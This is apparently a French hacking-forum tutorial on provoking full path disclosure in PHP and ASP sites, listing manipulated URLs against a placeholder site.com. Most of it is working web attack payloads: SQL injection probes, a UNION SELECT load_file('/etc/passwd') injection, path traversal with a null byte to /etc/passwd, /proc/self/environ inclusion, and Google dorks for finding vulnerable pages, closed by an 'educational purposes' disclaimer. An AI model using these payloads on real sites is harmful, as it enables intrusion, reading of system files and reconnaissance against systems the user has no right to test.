Exemples d'exploitation
[#] Transformer les types de variables X en type de variable Y
http://site.com/index.php?err=4 ==> http://site.com/index.php?err=lol
Disons que "err" est une variable "number-y". Ce qui veut dire qu'il peut uniquement avoir ($_GET) des nombres dans son code.
Donc, essayez de mettre une chaîne de caractère (string) à la place. Ça peut fonctionner.
[#] Utiliser des faux noms de fichiers
http://site.com/index.php?page=index.php ==> http://site.com/index.php?page=ExistePas.php
Erreur possible :
Warning: require(ExistePas.php) [function.require]: failed to open stream: No such file or directory in /home/content/g/a/r/cherokee/html/admin/index.php on line 25 Fatal error: require() [function.require]: Failed opening required 'ExistePas.php' (include_path='.:/usr/local/php5/lib/php') in /home/content/g/a/r/cherokee/html/admin/index.php on line 25
[#] Pages d'erreurs 404 "maladroites" - Serveurs IIS
http://site.com/index.asp ==> http://site.com/flancs.asp
NOTE:Cette méthode marchera la plupart du temps sur une plateforme Windows. Pour être précis, ça marchera principalement sur les serveurs IIS, où la page d'erreur 404 donne un peu trop d'infos. Donc ouai, on peut s'attendre à sa sur la plupart des sites en ASP/ASPX.
[#] Jouer fondamentalement avec la valeur du paramètre
http://site.com/index.php?err=4 ==> http://site.com/index.php?err=4.1
http://site.com/index.php?err=4 ==> http://site.com/index.php?err=-4
http://site.com/index.php?err=4 ==> http://site.com/index.php?err=4!
Quelques fois, la valeur sera limitée à un seul style d'entrées, et tout type de modifications résultera a une erreur PHP "Divided By Zero".
[#]SQLi
http://site.com/index.php?id=4 ==> http://site.com/index.php?id='4
http://site.com/index.php?id=4 ==> http://site.com/index.php?id=4';
http://site.com/index.php?id=4 ==> http://site.com/index.php?id=4+and+1=2--+
http://site.com/index.php?id=4 ==> http://site.com/index.php?id=0
http://site.com/index.php?id=4 ==> http://site.com/index.php?id=4+div+0--+
Erreur possible :
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/user14/domains/rawr.com/public_html/page.php on line 666
Création d'un ensemble d'erreur de données synthèse SQL, qui pour le coup, nous révèle la FPD demandée.
[#]Inner-library-files-thingie
http://site.com/wordpress/ ==> http://site.com/wordpress/inner-file-example.php
Autres moyens d'avoir une FPD sans erreurs de code.
[#]PHPINFO()
http://site.com/phpinfo.php
http://site.com/phpinfo/
http://site.com/phpdetails.php
Certains sites ouvrent une page avec les détails php.
Spoiler:
Regardez le "Document Root" ;)
[#] '/etc/passwd'
http://site.com/index.php?lol=-1+union+select+1,2,3,load_file('/etc/passwd')--+
http://site.com/index.php?lol=../../../etc/passwd%00
Spoiler:
Un cas similaire est /proc/self/environ :
www.site.com/index.php?page=/proc/self/environ
Spoiler:
[#] Google dork
site:site.com & intext:"include()" site:site.com & intext:"mysql" "error"
Vraiment simple. Insérez votre site et recherchez toute erreur possible.
ATTENTION : Je vous précise que tout ce qui a été expliqué est à titre éducatif et que "No cry - No Teacher" et moi même ne pourrons être tenus responsable de vos actes si vous l'utilisez sur des sites qui ne vous appartiennent pas.